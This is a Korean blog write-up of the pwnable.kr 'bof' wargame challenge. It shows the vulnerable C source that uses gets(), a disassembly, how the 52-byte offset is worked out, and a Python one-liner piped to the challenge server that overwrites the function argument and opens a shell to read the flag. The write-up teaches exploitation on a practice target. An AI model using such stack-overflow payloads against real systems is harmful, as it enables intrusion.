-

[pwnable.kr] bof 본문

Write-up/pwn

[pwnable.kr] bof

r99bbit 2020. 7. 22. 11:26

binary download

source download

remote : nc pwnable.kr 9000

감을 잃지 않기위해 풀어본 문제. 요새 포너블을 할 시간이 없다;;

outline

[*] '/home/minibeef/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

32 비트 바이너리이고 Canary, DEP, PIE 다 걸려있다.

Vulnerability

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

func(int key) 함수에서 gets()를 사용하고 있다. 취약점은 해당 부분에서 터지는 것을 인지하고, 핵심은 func가 호출될 때 사용되는 arguments를 buffer overflow 취약점을 이용하여 0xcafababe로 바꾸는 것이다. 해당 문제 바이너리는 x86 환경이고 이에 따라 함수 호출 규약을 __cdecl을 따른다. 아키텍쳐에 따른 Calling Convention은 나중에 다룰 예정임. 여튼간에 이러한 호출 규칙 때문에 arguments를 stack에 push하게 되는데 이 점을 공략하면 된다. 이제 offset만 알면 공격이 가능하다.

Dump of assembler code for function func:
   0x0000062c <+0>:     push   ebp
   0x0000062d <+1>:     mov    ebp,esp
   0x0000062f <+3>:     sub    esp,0x48
   0x00000632 <+6>:     mov    eax,gs:0x14
   0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:    xor    eax,eax
   0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    eax,[ebp-0x2c]
   0x0000064c <+32>:    mov    DWORD PTR [esp],eax
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave
   0x00000689 <+93>:    ret
End of assembler dump.

프로시저가 call 되는 순서상 <func+32>가 gets()를 호출하는 부분일테고, 인자로 들어가는 포인터는 ebp-0x2c라는 것을 알 수 있다. key 인자는 ebp+0x8에 있을 것이므로 이를 계산하면 offset은 52 bytes이다. 공격해보자

exploit

minibeef@Acer:~$ (python -c 'print "A"*52 + "\xbe\xba\xfe\xca"';cat) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)

'Write-up > pwn' 카테고리의 다른 글

[pwnable.kr] passcode  (0) 2020.08.29
[pwnable.kr] md5 calculator  (0) 2020.08.05
[TG:HACK 2020] Chunk Norris  (0) 2020.07.22
[DawgCTF 2020] bof to the top  (0) 2020.07.22
Comments